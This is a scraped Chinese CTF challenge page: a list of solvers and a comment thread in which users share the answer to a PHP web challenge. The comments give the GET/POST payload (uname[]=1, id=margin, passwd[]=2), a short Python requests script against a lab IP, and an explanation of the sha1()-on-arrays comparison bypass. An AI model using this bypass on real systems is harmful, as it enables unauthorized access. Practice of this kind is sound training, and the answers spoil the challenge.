评分(5)
解题动态
安全的可达鸭 攻破了该题 3小时前
倩123 攻破了该题 1天前
lxzlxzlxz 攻破了该题 2天前
Todjjj 攻破了该题 2天前
Yun1217 攻破了该题 2天前
shooter6567 攻破了该题 4天前
1234wsryv 攻破了该题 4天前
pakii 攻破了该题 4天前
安子愚 攻破了该题 4天前
dchen06 攻破了该题 4天前
哆咪嘞 攻破了该题 4天前
ldj 攻破了该题 5天前
xiaogang 攻破了该题 6天前
1325 攻破了该题 7天前
zxxx3663 攻破了该题 7天前
wcb 攻破了该题 7天前
aaa建材王哥 攻破了该题 7天前
Bugkuheihei 攻破了该题 8天前
恐怖拉矢人 攻破了该题 8天前
评论
独行客zyj 1月前
举报
?uname[]=1&id=margin POST:passwd[]=2
tafeishi 1月前
举报
为甚
azerl7 3月前
举报
很简单的一道题目，有多种绕过的方式，要是做不出来，那就还得去其他题目练练吧
李佩霖 3月前
举报
?id=margin&uname[]=1
YANGLINSHENG 4月前
举报
import requests url = "http://160.202.254.160:18387 id=%6d%61%72%67%69%6e&uname[]=1" data = {"passwd[]": "2"} res = requests.post(url, data=data) print(res.text)
WWlsyl 4月前
举报
?uname[]=1&id=margin POST:passwd[]=2
脚本gay 7月前
举报
解题关键：PHP SHA1 函数漏洞 PHP 中，sha1() 函数无法处理数组，传入数组会返回 false，且是强类型的 false。 sha1(array()) → false sha1(array(1)) → false 两个不同数组，sha1 结果都是 false，满足 === 强相等 同时，数组和数组在 == 弱比较中不相等，完美绕过第一层判断！
是小白鸭 8月前
举报
明白咯 要在bp的repeater里面修改，get请求在头部，post请求在尾部。
奔跑的开开 12月前
举报
hackbar构造?uname[]=1&id=margin（get） ，passwd[]=2（post）
qq1002517 9月前
举报
6
5883120xly 1年前
举报
在url上加/?id=margin&uname[]=111a 在POST中加passwd[]=2